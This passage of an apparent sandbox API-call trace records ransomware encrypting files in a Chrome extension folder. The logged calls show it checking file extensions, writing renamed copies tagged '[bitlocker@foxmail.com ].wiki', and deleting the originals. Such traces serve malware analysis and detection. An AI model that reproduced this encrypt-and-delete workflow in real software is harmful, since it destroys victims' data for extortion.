Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.004] lstrlenW (lpString=".zip") returned 4 [0181.004] lstrcmpiW (lpString1=".zip", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString=".rar") returned 4 [0181.004] lstrcmpiW (lpString1=".rar", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString=".bz2") returned 4 [0181.004] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString=".7z") returned 3 [0181.004] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.004] lstrlenW (lpString=".dbf") returned 4 [0181.004] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.004] lstrlenW (lpString=".1cd") returned 4 [0181.004] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.004] lstrlenW (lpString=".jpg") returned 4 [0181.004] lstrcmpiW (lpString1=".jpg", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.004] lstrlenW (lpString=".doc") returned 4 [0181.004] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString=".docx") returned 5 [0181.004] lstrcmpiW (lpString1=".docx", lpString2="ar.js") returned -1 [0181.004] lstrlenW (lpString=".pdf") returned 4 [0181.004] lstrcmpiW (lpString1=".pdf", lpString2="r.js") returned -1 [0181.004] lstrlenW (lpString=".xls") returned 4 [0181.005] lstrcmpiW (lpString1=".xls", lpString2="r.js") returned -1 [0181.005] lstrlenW (lpString=".xlsx") returned 5 [0181.005] lstrcmpiW (lpString1=".xlsx", lpString2="ar.js") returned -1 [0181.005] lstrlenW (lpString=".ppt") returned 4 [0181.005] lstrcmpiW (lpString1=".ppt", lpString2="r.js") returned -1 [0181.005] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.005] lstrlenW (lpString=".zip") returned 4 [0181.005] lstrcmpiW (lpString1=".zip", lpString2="r.js") returned -1 [0181.005] lstrlenW (lpString=".rar") returned 4 [0181.005] lstrcmpiW (lpString1=".rar", lpString2="r.js") returned -1 [0181.005] lstrlenW (lpString=".bz2") returned 4 [0181.005] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0181.005] lstrlenW (lpString=".7z") returned 3 [0181.005] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.005] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.005] lstrlenW (lpString=".dbf") returned 4 [0181.005] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0181.005] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.005] lstrlenW (lpString=".1cd") returned 4 [0181.005] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0181.005] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 145 [0181.005] lstrlenW (lpString=".jpg") returned 4 [0181.005] lstrcmpiW (lpString1=".jpg", lpString2="r.js") returned -1 [0181.005] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0181.005] lstrlenW (lpString="cast_game_sender.js") returned 19 [0181.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.006] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=98730) returned 1 [0181.006] CloseHandle (hObject=0x160) returned 1 [0181.006] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js")) returned 0x2020 [0181.006] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.006] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.006] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.007] GetLastError () returned 0x0 [0181.007] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x181aa, lpOverlapped=0x0) returned 1 [0181.010] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x181b0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x181b0, lpOverlapped=0x0) returned 1 [0181.012] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.012] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0181.012] SetEndOfFile (hFile=0x19c) returned 1 [0181.012] CloseHandle (hObject=0x19c) returned 1 [0181.013] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.013] SetEndOfFile (hFile=0x160) returned 1 [0181.014] CloseHandle (hObject=0x160) returned 1 [0181.014] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.014] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js")) returned 1 [0181.014] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.014] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.014] lstrlenW (lpString=".doc") returned 4 [0181.014] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0181.014] lstrlenW (lpString=".docx") returned 5 [0181.014] lstrcmpiW (lpString1=".docx", lpString2="er.js") returned -1 [0181.014] lstrlenW (lpString=".pdf") returned 4 [0181.014] lstrcmpiW (lpString1=".pdf", lpString2="r.js") returned -1 [0181.014] lstrlenW (lpString=".xls") returned 4 [0181.014] lstrcmpiW (lpString1=".xls", lpString2="r.js") returned -1 [0181.014] lstrlenW (lpString=".xlsx") returned 5 [0181.015] lstrcmpiW (lpString1=".xlsx", lpString2="er.js") returned -1 [0181.015] lstrlenW (lpString=".ppt") returned 4 [0181.015] lstrcmpiW (lpString1=".ppt", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.015] lstrlenW (lpString=".zip") returned 4 [0181.015] lstrcmpiW (lpString1=".zip", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString=".rar") returned 4 [0181.015] lstrcmpiW (lpString1=".rar", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString=".bz2") returned 4 [0181.015] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString=".7z") returned 3 [0181.015] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.015] lstrlenW (lpString=".dbf") returned 4 [0181.015] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.015] lstrlenW (lpString=".1cd") returned 4 [0181.015] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.015] lstrlenW (lpString=".jpg") returned 4 [0181.015] lstrcmpiW (lpString1=".jpg", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.015] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.015] lstrlenW (lpString=".doc") returned 4 [0181.015] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString=".docx") returned 5 [0181.015] lstrcmpiW (lpString1=".docx", lpString2="er.js") returned -1 [0181.015] lstrlenW (lpString=".pdf") returned 4 [0181.015] lstrcmpiW (lpString1=".pdf", lpString2="r.js") returned -1 [0181.015] lstrlenW (lpString=".xls") returned 4 [0181.015] lstrcmpiW (lpString1=".xls", lpString2="r.js") returned -1 [0181.016] lstrlenW (lpString=".xlsx") returned 5 [0181.016] lstrcmpiW (lpString1=".xlsx", lpString2="er.js") returned -1 [0181.016] lstrlenW (lpString=".ppt") returned 4 [0181.016] lstrcmpiW (lpString1=".ppt", lpString2="r.js") returned -1 [0181.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.016] lstrlenW (lpString=".zip") returned 4 [0181.016] lstrcmpiW (lpString1=".zip", lpString2="r.js") returned -1 [0181.016] lstrlenW (lpString=".rar") returned 4 [0181.016] lstrcmpiW (lpString1=".rar", lpString2="r.js") returned -1 [0181.016] lstrlenW (lpString=".bz2") returned 4 [0181.016] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1 [0181.016] lstrlenW (lpString=".7z") returned 3 [0181.016] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0181.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.016] lstrlenW (lpString=".dbf") returned 4 [0181.016] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0181.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.016] lstrlenW (lpString=".1cd") returned 4 [0181.016] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0181.016] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 154 [0181.016] lstrlenW (lpString=".jpg") returned 4 [0181.016] lstrcmpiW (lpString1=".jpg", lpString2="r.js") returned -1 [0181.016] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0181.016] lstrlenW (lpString="cast_route_details.html") returned 23 [0181.016] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.017] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=70113) returned 1 [0181.017] CloseHandle (hObject=0x160) returned 1 [0181.017] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html")) returned 0x2020 [0181.017] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.017] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.017] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.018] GetLastError () returned 0x0 [0181.018] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x111e1, lpOverlapped=0x0) returned 1 [0181.020] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x111f0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x111f0, lpOverlapped=0x0) returned 1 [0181.022] ReadFile (in: hFile=0x160, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.022] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x102, lpOverlapped=0x0) returned 1 [0181.022] SetEndOfFile (hFile=0x19c) returned 1 [0181.022] CloseHandle (hObject=0x19c) returned 1 [0181.022] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.022] SetEndOfFile (hFile=0x160) returned 1 [0181.023] CloseHandle (hObject=0x160) returned 1 [0181.023] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.024] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html")) returned 1 [0181.024] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.024] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.024] lstrlenW (lpString=".doc") returned 4 [0181.024] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.024] lstrlenW (lpString=".docx") returned 5 [0181.024] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.024] lstrlenW (lpString=".pdf") returned 4 [0181.024] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.024] lstrlenW (lpString=".xls") returned 4 [0181.024] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.024] lstrlenW (lpString=".xlsx") returned 5 [0181.024] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.024] lstrlenW (lpString=".ppt") returned 4 [0181.024] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.024] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.024] lstrlenW (lpString=".zip") returned 4 [0181.024] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.024] lstrlenW (lpString=".rar") returned 4 [0181.024] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.024] lstrlenW (lpString=".bz2") returned 4 [0181.025] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.025] lstrlenW (lpString=".7z") returned 3 [0181.025] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.025] lstrlenW (lpString=".dbf") returned 4 [0181.025] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.025] lstrlenW (lpString=".1cd") returned 4 [0181.025] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.025] lstrlenW (lpString=".jpg") returned 4 [0181.025] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.025] lstrlenW (lpString=".doc") returned 4 [0181.025] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.025] lstrlenW (lpString=".docx") returned 5 [0181.025] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.025] lstrlenW (lpString=".pdf") returned 4 [0181.025] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.025] lstrlenW (lpString=".xls") returned 4 [0181.025] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.025] lstrlenW (lpString=".xlsx") returned 5 [0181.025] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.025] lstrlenW (lpString=".ppt") returned 4 [0181.025] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 158 [0181.025] lstrlenW (lpString=".zip") returned 4 [0181.025] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.025] lstrlenW (lpString=".rar") returned 4 [0181.025] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.026] lstrlenW (lpString=".bz2") returned 4 [0181.026] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.026] lstrlenW (lpString=".7z") returned 3 [0181.026] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.026] lstrlenW 